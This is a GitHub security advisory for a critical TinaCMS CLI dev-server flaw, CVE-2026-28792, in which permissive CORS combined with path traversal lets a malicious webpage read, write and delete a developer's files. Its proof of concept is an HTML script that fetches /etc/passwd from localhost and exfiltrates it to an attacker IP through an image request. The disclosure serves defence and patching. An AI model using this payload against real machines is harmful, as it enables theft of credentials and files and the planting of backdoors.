Skip to content

TinaCMS CLI Dev Server Vulnerable to Cross-Origin File Exfiltration via CORS Misconfiguration + Path Traversal in TinaCMS

Critical severity GitHub Reviewed Published Mar 12, 2026 in tinacms/tinacms • Updated Mar 12, 2026

Package

npm @tinacms/cli (npm)

Affected versions

< 2.1.8

Patched versions

2.1.8

Description

Summary

The TinaCMS CLI dev server combines a permissive CORS configuration (Access-Control-Allow-Origin: *) with the path traversal vulnerability (previously reported) to enable a browser-based drive-by attack. A remote attacker can enumerate the filesystem, write arbitrary files, and delete arbitrary files on developer's machines by simply tricking them into visiting a malicious website while tinacms dev is running.

Details

The TinaCMS dev server sets permissive CORS headers that allow any origin to make cross-origin requests:

  • packages/@tinacms/cli/src/server/server.ts:
  app.use(cors());
  • packages/@tinacms/cli/src/next/vite/plugins.ts:
     server.middlewares.use(cors());

When combined with the path traversal vulnerability, this creates a complete attack chain.

Attack Scenario

Prerequisites

  1. Developer runs tinacms dev (default port 4001)
  2. Developer visits attacker's website while TinaCMS is running

No other conditions required - the dev server doesn't need to be:

  • Exposed to the internet
  • Bound to 0.0.0.0
  • Accessible outside localhost

Attack Flow

  1. Developer starts TinaCMS: tinacms dev
  2. Developer browses the web (checking email, social media, etc.)
  3. Developer unknowingly visits attacker-controlled page (malicious ad, compromised site, etc.)
  4. Attacker's JavaScript exploits CORS + path traversal to read sensitive files
  5. Files are exfiltrated to attacker's server

PoC

Attacker's Malicious Website (evil.html):

<script>
fetch('http://localhost:4001/../../../etc/passwd')
  .then(r => r.text())
  .then(data => {
    // Exfil via GET
    const img = new Image();
    img.src = 'http://192.168.11.117:8080/exfil?data=' + encodeURIComponent(data);
  });
</script>

Demonstration

Step 1: Start TinaCMS dev server

tinacms dev
# Server running on http://localhost:4001

Step 2: Host evil.html on attacker server

python3 -m http.server 8000

Step 3: Developer visits http://attacker-server:8000/evil.html

Result: The browser makes cross-origin requests to localhost:4001.
Because cors() returns Access-Control-Allow-Origin: *, the browser
allows the JavaScript to read the responses. Directory listings from
outside the media directory are sent to the attacker's server.
image

Impact

Who is affected

Every developer running tinacms dev is vulnerable while the dev server is active. No special configuration is required the default setup is exploitable.

What an attacker achieves

By hosting a malicious webpage (or injecting script via a compromised ad network, XSS on a forum, etc.), the attacker can silently:

  1. Enumerate the developer's filesystem directory listings via /media/list/ with path traversal reveal file and folder names
    across the entire filesystem
  2. Discover sensitive files locate .env, .git/config, SSH keys, cloud credentials, database configs
  3. Write arbitrary files via /media/upload/ with path traversal, the attacker can overwrite project source files, inject backdoors, or modify build scripts
  4. Delete arbitrary files via /media/ DELETE with path traversal

References

@18-th 18-th published to tinacms/tinacms Mar 12, 2026
Published by the National Vulnerability Database Mar 12, 2026
Published to the GitHub Advisory Database Mar 12, 2026
Reviewed Mar 12, 2026
Last updated Mar 12, 2026

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
Required
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(54th percentile)

Weaknesses

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. Learn more on MITRE.

Permissive Cross-domain Security Policy with Untrusted Domains

The product uses a web-client protection mechanism such as a Content Security Policy (CSP) or cross-domain policy file, but the policy includes untrusted domains with which the web client is allowed to communicate. Learn more on MITRE.

CVE ID

CVE-2026-28792

GHSA ID

GHSA-8pw3-9m7f-q734

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.